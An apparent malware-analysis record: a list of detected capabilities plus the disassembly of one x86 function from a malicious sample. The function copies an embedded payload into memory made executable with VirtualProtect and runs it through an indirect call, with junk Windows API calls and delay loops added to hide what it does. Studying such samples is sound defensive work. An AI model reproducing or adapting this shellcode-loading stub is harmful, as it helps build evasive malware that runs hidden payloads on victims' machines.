Function at 0x4015aa
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.00406b00
mov ecx, dword [0xb669e8]
push ebx
push esi
xor esi, esi
push edi
cmp ecx, 0x93
je 0x4017a3
mov eax, dword [0x41a3d0]
add ecx, 0x1134b
push ecx
push esi
mov dword [0xb669ec], eax
mov dword [0xb669e8], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
mov dword [0xb66474], eax
push ecx
push 0x40
push dword [0xb669e8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0xa90ee
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec edi
jne 0x40160f
mov edx, dword [0xb669e8]
mov edi, esi
test edx, edx
je 0x40169b
mov eax, dword [0xb669ec]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0xb66474]
mov byte [eax + edi], cl
cmp edx, 0x490
jne 0x401696
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
push 0x4177ec
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push str.cowom
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
lea eax, [ebp - 0xd08]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x508]
push eax
push str.terohopiromac_vanoyilokedizidekizededucuwa
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov edx, dword [0xb669e8]
inc edi
cmp edi, edx
jb 0x401627
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x4016de
push str.depesiboruvi_rilolawojaweroreseluyi_vesuduxuhupebocu_nap_naxujojowafapazupefuy
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
push str.poyagawixorevesefoxecegepaholeka
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov edx, dword [0xb669e8]
inc edi
cmp edi, 0x38681
jl 0x40169d
push ecx
call fcn.00401567
mov edi, esi
push esi
call ebx
cmp edi, 0x62
jne 0x4016fc
call fcn.0040158e
inc edi
cmp edi, 0x674db
jl 0x4016ef
push 0x7b
pop ebx
cmp dword [0xb669e8], 0x86
jne 0x40176f
xor eax, eax
lea edi, [ebp - 0x36]
mov word [ebp - 0x38], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push esi
lea eax, [ebp - 0x10]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [ebp - 0x54]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1108]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0xb669e8], 0xf
jne 0x401782
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec ebx
jne 0x401708
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0xb66474]
mov dword [0xb669dc], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push str.sunotodukijimov
push esi
xor eax, eax
push esi
push esi
btr dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push dword [ebp - 8]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push esi
push esi
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push esi
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x4177e4
push esi
call fcn.004035bc
push esi
call fcn.00403988
push esi
call fcn.00402a56
add esp, 0x10
push esi
call fcn.00404052
int3